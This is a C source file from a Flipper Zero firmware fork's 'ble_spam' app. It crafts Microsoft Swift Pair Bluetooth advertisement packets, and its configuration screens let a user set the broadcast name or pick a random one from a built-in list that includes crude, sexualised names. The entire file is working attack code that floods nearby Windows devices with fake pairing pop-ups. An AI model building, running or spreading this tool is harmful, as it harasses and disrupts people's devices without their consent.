Files
Momentum-Firmware/applications/external/ble_spam/protocols/swiftpair.c
2023-10-25 21:43:26 +01:00

136 lines
3.8 KiB
C

#include "swiftpair.h"
#include "_protocols.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
const char* names[] = {
"Assquach💦",
"Flipper 🐬",
"iOS 17 🍎",
"Kink💦",
"👉👌",
"🔵🦷",
};
const uint8_t names_count = COUNT_OF(names);
static const char* get_name(const Payload* payload) {
UNUSED(payload);
return "SwiftPair";
}
static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
SwiftpairCfg* cfg = payload ? &payload->cfg.swiftpair : NULL;
const char* name;
switch(cfg ? payload->mode : PayloadModeRandom) {
case PayloadModeRandom:
default:
name = names[rand() % names_count];
break;
case PayloadModeValue:
name = cfg->name;
break;
}
uint8_t name_len = strlen(name);
uint8_t size = 7 + name_len;
uint8_t* packet = malloc(size);
uint8_t i = 0;
packet[i++] = size - 1; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x06; // Company ID (Microsoft)
packet[i++] = 0x00; // ...
packet[i++] = 0x03; // Microsoft Beacon ID
packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
packet[i++] = 0x80; // Reserved RSSI Byte
memcpy(&packet[i], name, name_len);
i += name_len;
*_size = size;
*_packet = packet;
}
enum {
_ConfigExtraStart = ConfigExtraStart,
ConfigName,
ConfigInfoRequire,
ConfigCOUNT,
};
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(index) {
case ConfigName:
scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName);
break;
case ConfigInfoRequire:
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
}
static void extra_config(Ctx* ctx) {
Payload* payload = &ctx->attack->payload;
SwiftpairCfg* cfg = &payload->cfg.swiftpair;
VariableItemList* list = ctx->variable_item_list;
VariableItem* item;
item = variable_item_list_add(list, "Display Name", 0, NULL, NULL);
variable_item_set_current_value_text(
item, payload->mode == PayloadModeRandom ? "Random" : cfg->name);
variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL);
variable_item_list_set_enter_callback(list, config_callback, ctx);
}
static uint8_t config_count(const Payload* payload) {
UNUSED(payload);
return ConfigCOUNT - ConfigExtraStart - 1;
}
const Protocol protocol_swiftpair = {
.icon = &I_windows,
.get_name = get_name,
.make_packet = make_packet,
.extra_config = extra_config,
.config_count = config_count,
};
static void name_callback(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
payload->mode = PayloadModeValue;
scene_manager_previous_scene(ctx->scene_manager);
}
void scene_swiftpair_name_on_enter(void* _ctx) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
SwiftpairCfg* cfg = &payload->cfg.swiftpair;
TextInput* text_input = ctx->text_input;
text_input_reset(text_input);
text_input_set_header_text(text_input, "Press back for random");
text_input_set_result_callback(
text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true);
text_input_set_minimum_length(text_input, 0);
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput);
}
bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) {
Ctx* ctx = _ctx;
Payload* payload = &ctx->attack->payload;
if(event.type == SceneManagerEventTypeBack) {
payload->mode = PayloadModeRandom;
}
return false;
}
void scene_swiftpair_name_on_exit(void* _ctx) {
UNUSED(_ctx);
}